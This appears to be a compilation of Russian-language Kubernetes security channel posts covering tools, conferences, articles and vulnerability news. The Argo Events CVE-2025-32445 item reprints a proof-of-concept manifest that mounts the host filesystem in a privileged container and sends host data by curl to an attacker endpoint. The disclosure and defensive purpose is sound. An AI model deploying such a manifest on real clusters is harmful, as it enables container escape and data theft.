Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.

В ней автор рассказывает о том, как можно использовать подписанные docker images совместно с Vault, а именно более подробно говорит про:

- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD

Давайте сегодня познакомимся с online-площадками, где можно потренироваться в написании политик для Policy Engine как внешних по отношению к Kubernetes, так и встроенным:

1) Kyverno Playground - очевидно что для политик для Kyverno как на YAML, так и на CEL
2) Rego Playground - для политик OPA Gatekeeper на Rego (хотя OPA Gatekeeper уже поддерживает и CEL)
3) CEL Playground - для политик Validating Admission Policy на CEL

Думаем что легко можно заметить сильное влияние Kubernetes Validating Admission Policy, появившегося в GA в 1.30, с его CEL.

P.S. Если вы по сей день не используете никакой из этих 3-х движков, то непонятно как вы строите безопасность Kubernetes кластера ....

Всем, привет!

Хотим напомнить, что с завтрашнего дня будет повышение цен на билеты на нашу конференцию по БЕзопасности КОНтейнеров и Kubernetes - БеКон!

Прием заявок на доклады уже остановлен, идет их анализ и уже совсем скоро мы начнем их постепенно публиковать ;)

Сегодня хотим поделиться очередным новым проектом с просторов GitHub – Dracan. Довольно сложно описать Dracan одним предложением, однако скорее его можно отнести к чему-то между Authorization Policy от Istio, Network Policy и WAF. Сейчас он умеет следующее:

- HTTP Method Filtering
- JSON Validation
- Request Limiting
- Payload Limitation
- URI Filtering
- Header Validation

Авторы позиционируют его как легковесный инструмент, для эксплуатации которого не нужен опыт настройки WAF или большая DevOps экспертиза.

В Open Source версии Calico 3.30 появится собственный web-based графический интерфейс для просмотра и фильтрации flow логов для разбора проблем с соединениями и анализа работы NetworkPolicy. Данный компонент называется Whisker и состоит из трех компонентов:
1) Whisker UI - фронтенд
2) Whisker backend - бэкенд для получения данных
3) Goldmane - gRPC API server

Начинаем эту неделю с интересной статьи – Cloud Digital Forensics and Incident Response — Elastic Kubernetes Service Takeover Leads to Cryptominer Deployment.

В ней автор, на примере вымышленной истории, рассказывает как можно проводить форензику в AWS. Не смотря на то, что история вымышлена, в ней приводятся реальные техники атакующих – web application command injection, Instance Metadata Service (IMDS) access, JSON Web Token (JWT) abuse, и valid credential abuse.

Также автор показывает как расследовать такой инцидент, используя web server logs, container logs, CloudWatch Kubernetes logs, и CloudTrail logs.

Мало хорошо разбираться в Kubernetes и его безопасности - он все равно тебя сможет рано или поздно удивить. И в таких ситуациях важно знать кто может подсказать в том или ином вопросе ;) Одним из людей к которым я периодически обращаюсь является Миша Петров и он не так давно завел свой канал по k8s и не только - Azalio_tech.

И тут хотелось бы обратить ваше внимание на его последний пост про отключение анонимного доступа к kube-apiserver, но оставляя health checks! Оказывается это возможно, но только придется похимичить с конфигами на новых версиях куба 1.31, 1.32.

Про опасность анонимного доступа и почему его важно отключать мы писали ранее тут и тут.

22 апреля в 11:00 наша команда Luntry проведет вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества».

Вы можете задаться вопросом кого мы понимаем тут под специалистами анализа качества? Это специалисты, которым приходится проводить:
- Приёмо-сдаточные испытания (ПСИ) как для внутренних разработок, так и внешних/заказных
- Сертификацию программного обеспечения
- Разбираться с "черными ящиками"

И все это, конечно, в контейнерном исполнении для Kubernetes. И естественно мы покажем как эту нетривиальную задачу можно очень просто решить с помощью нашего решения Luntry.

Зарегистрироваться можно здесь.

P.S. Этот вебинар продолжение серии вебинаров, которые уже показывали как Luntry может помочь CISO и SOC. Далее еще будет для DevSecOps специалистов, разработчиков, безопасников, отвечающих за сетевую безопасность и т.д.

Вселенная Argo не ограничивается только лишь Argo CD. Так например, совсем недавно была раскрыта уязвимость CVE-2025-32445 с оценкой 10/10 по CVSS в Argo Events, позволяющая пользователю с правами на создание кастомных ресурсов EventSource и Sensor сбежать из контейнера и получить полный контроль над кластером.

Всё дело в том, что Argo Events обрабатывал поля securityContext (и другие) в EventSource, хотя этого не было явно указано в документации. В качестве PoC исследователь приложил следующий YAML манифест, в результате которого на сервер атакующего отправится hostname хоста и листинг /run/containerd/containerd.sock:

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

В версии 1.9.6 уязвимость исправили, разрешив пользователю ограниченно выставлять .spec.template.container.

Стали доступны видеозаписи (378 штук) и слайды с KubeCon + CloudNativeCon Europe 2025!

Следующие KubeCon + CloudNativeCon в этом году будут:
- Hong Kong, China (June 10-11);
- Tokyo, Japan (June 16-17);
- Hyderabad, India (August 6-7);
- Atlanta, US (November 10-13).

P.S. А 3 июня в Москве состоится БеКон 2025 ;)

Мы начинаем публиковать доклады с программы БеКон 2025!

1) "Без секретов! Workload Identity Federation: безопасная аутентификация в облаке" (Дмитрий Лютов, Yandex Cloud)

Строить безопасность в облаке без механизма Workload Identity очень сложная задача. И если в западных облаках его наличие уже само собой разумеющееся, то в наших просторах далеко не все вообще знают что это за зверь такой. Задача этого доклада рассказать как опасно жить без него, как он устроен и как спасает.

2) "Неочевидные и непонятные моменты безопасности Kubernetes" (Дмитрий Евдокимов, Luntry)

Рабочее название доклада было "Ворчание старого деда про k8s security". А лейтмотивом стали вопросы на тренингах "Почему так?", "Почему до сих пор так?", "Почему не иначе?", "Доколе?" и т.д. В итоге, сформировался список таких моментов.

За детальным описанием можно обратиться сюда.

Исследователи из Trend Micro, обнаружившие CVE-2025-23359 (bypass после фикса CVE-2024-0132 о которой мы рассказывали тут) выпустил статью Incomplete NVIDIA Patch to CVE-2024-0132 Exposes AI Infrastructure and Data to Critical Risks, в которой раскрыли некоторые подробности.

Так например, они обнаружили некоторые проблемы производительности при использовании нескольких mount в контейнере, которые могут привести к DoS (о той же проблеме производительности независимо сообщили moby и NVIDIA):

1. Когда новый контейнер создается с несколькими маунтами, настроенными с помощью (bind-propagation=shared), устанавливаются несколько родительских/дочерних путей. Однако связанные записи не удаляются из таблицы монтирования Linux после завершения работы контейнера.

2. Это приводит к быстрому и неконтролируемому росту таблицы монтирования, исчерпывая доступные файловые дескрипторы (fd). В конце концов Docker не может создавать новые контейнеры из-за исчерпания fd.

3. Эта чрезмерно большая таблица монтирования приводит к серьезным проблемам с производительностью, не позволяя пользователям подключаться к хосту (например, через SSH).

Основываясь на этом были раскрыты некоторые детали для эксплуатации CVE-2025-23359 (но PoC так и не предоставили):

1. Злоумышленник создает два вредоносных образа контейнера, соединенных друг с другом с помощью символической ссылки volume.
2. Злоумышленник запускает образ на платформе жертвы напрямую или косвенно
3. Это позволяет злоумышленнику получить доступ к файловой системе хоста через состояние гонки.
4. Используя этот доступ, злоумышленник впоследствии может получить доступ к сокетам Container Runtime Unix для выполнения произвольных команд с привилегиями root, т. е. получить полный удаленный контроль над скомпрометированной системой.

Рады представить новую статью в блоге про то, как наше решение Luntry помогает справиться с нашумевшим IngressNightmare!

Помимо того, что мы детально разбираем сам процесс эксплуатации, так и показываем как с помощью Luntry можно защититься абсолютно на всех уровнях и так как умеем только мы! Обнаружить и предотвратить это с помощью:
- Сканирования образа
- Runtime защиты в гибридном формате
- Генерации NetworkPolicy

По сути можно было даже защититься (обнаружить и предотвратить), когда эти уязвимости были 0day!

P.S. Кстати не так давно мы обновили наш сайт и лого. Как вам ?)

P.S.S. Уже завтра состоится вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества»

Мы продолжаем публиковать доклады с программы БеКон 2025!

1) "Расширение политик фильтрации трафика в Cilium" (Антон Баранов, ГК Астра)

Придумывать свои кастомные механизмы для сетевой безопасности в Kubernetes в обход CNI это прям признак дурного тона, не говоря уже о вреде для производительности и стабильности. В рамках же этого доклада вы узнаете как ребята все сделали по красоте: добавили свой eBPF код в Cilium, добавили в ресурс CiliumNetworkPolicy нужные поля, доработали Hubble.

2) "Чем собирать контейнеры если вы параноик?" (Михаил Кожуховский, Flowmaster)

Говоря про безопасность контейнеров, нельзя обходить стороной процесс сборки образов. Делая это не правильно, можно поплатиться компрометацией системы... При этом решений с каждым днем все больше - выбор не простой, но этот доклад вам поможет определиться.

За детальным описанием выступлений можно обратиться сюда.

В статье A Practical Approach to Keycloak Token Exchange: Converting External Tokens for Internal Use with Kubernetes and Istio рассматривается подход к настройке обмена токенами Keycloak в Kubernetes с помощью Istio.

Автор показывает как сконфигурировать CRD ресурс EnvoyFilter, в котором будет заложена Token Exchange Logic:

- Extract Authorization Header
- Make HTTP Call to Keycloak
- Inject Internal Token

В Блоге Istio есть статья "Istio: The Highest-Performance Solution for Network Security" с очень любопытными замерами! Сравнивалась производительность при шифровании трафика для ряда решений:
- Istio: 1.26 (prerelease), default settings
- Linkerd: edge-25.2.2, default settings
- Cilium: version v1.16.6 с kubeProxyReplacement=true
WireGuard uses encryption.type=wireguard
IPsec uses encryption.type=ipsec with the GCM-128-AES algorithm
Additionally, both modes were tested with all of the recommendations in Cilium’s tuning guide (including netkit, native routing mode, BIGTCP (for WireGuard; IPsec is incompatible), BPF masquerade, and BBR bandwidth manager).
- Calico: version v3.29.2 с calicoNetwork.linuxDataplane=BPF и wireguardEnabled=true
- Kindnet: version v1.8.5 с --ipsec-overlay=true.

Вышел Kubernetes v1.33: Octarine!

Это значит, что помимо новых фич, так же что уже 29 июня закончится поддержка версии 1.30.

А вы уже успели перекатиться на 30-ю серию или все еще на 20-й?)

Мы продолжаем публиковать доклады с программы БеКон 2025!

1) "Kyverno: Рецепты правильного приготовления" (Евгений Берендяев, Avito)

Kyverno на ряду с OPA Gatekeeper это два стандарта де-факто среди PolicyEngines. Если ни одного из них нет, то нет и безопасного и надежного кластера точно. Но и при их наличии их еще надо правильно готовить, так что бы они не валялись от кривых настроек и т.д. Здесь вы узнаете все лучшие практики по развёртыванию и поддержке Kyverno.

2) "Talos Linux в production: без SSH и с удовольствием" (Дмитрий Рыбалка, Lamoda Tech)

На первом БеКон у нас впервые прозвучало про OS Talos и видно как данная система набирает популярность на наших просторах. Но остается также и много вопрос как с такой измененной парадигмой обслуживания вообще жить. Автор как раз и поделится опытом и ответить на любые вопросы!

За детальным описанием выступлений можно обратиться сюда.

А еще появился официальный канал конференции. Рекомендуем подписаться, чтобы быть в курсе новостей, изменений, розыгрышей и тюд.

Начинаем этот день с очередной интересной заметки от Rory McCune – Cap or no cap.

Свой ресерч автор начал с allowPrivilegeEscalation поля в манифесте. Это достаточно интересно, поскольку на самом деле выставление этого значения не делает то, о чем говорит его название. Об этом мы рассказывали на канале в этом посте.

Продолжая эксперементировать c allowPrivilegeEscalation и добавлением capability, исследователь приходит к интересным выводам. Так например, если вы используете containerd, то:

- CAP_SYS_ADMIN (для работы нужно добавлять SYS_ADMIN) в манифесте позволяет задеплоиться
- allowPrivilegeEscalation: false + CAP_SYS_ADMIN – не дает задеплоиться
- allowPrivilegeEscalation: false + SYS_ADMIN – разрешает задеплоиться и добавляет capability
- добавление несуществующей capability LOREM – разрешает задеплоиться

Промежуточный итог: Kubernetes не проверяет, какие capability вы добавляете, и не генерирует ошибку, если вы добавляете недопустимую – он просто ничего не делает.

Далее автор продолжил свой эксперимент на cri-o:

- CAP_SYS_ADMIN – сработало
- SYS_ADMIN – сработало
- allowPrivilegeEscalation: false + CAP_SYS_ADMIN – не дает задеплоиться
- allowPrivilegeEscalation: false + SYS_ADMIN – разрешает задеплоиться и добавляет capability
- установка несуществующей capability привела к ошибке при создании контейнера

CRI-O обрабатывает это немного по-другому, позволяя работать обоим и выдавая ошибки при недопустимых capability.

Как мы уже неоднократно писали, поддержка User Namespaces в Kubernetes по умолчанию чрезвычайно важное событие в жизни k8s. И естественно, это заслужило отельной записи в официальном блоге Kubernetes под названием "Kubernetes v1.33: User Namespaces enabled by default!". Данная статья отвечает на все вопросы по данной теме, так что это просто MUST READ!

P.S. Для понимания проблематики рекомендуем освежить в памяти доклад "Linux user namespace в чертогах Kubernetes" с БеКон 2024.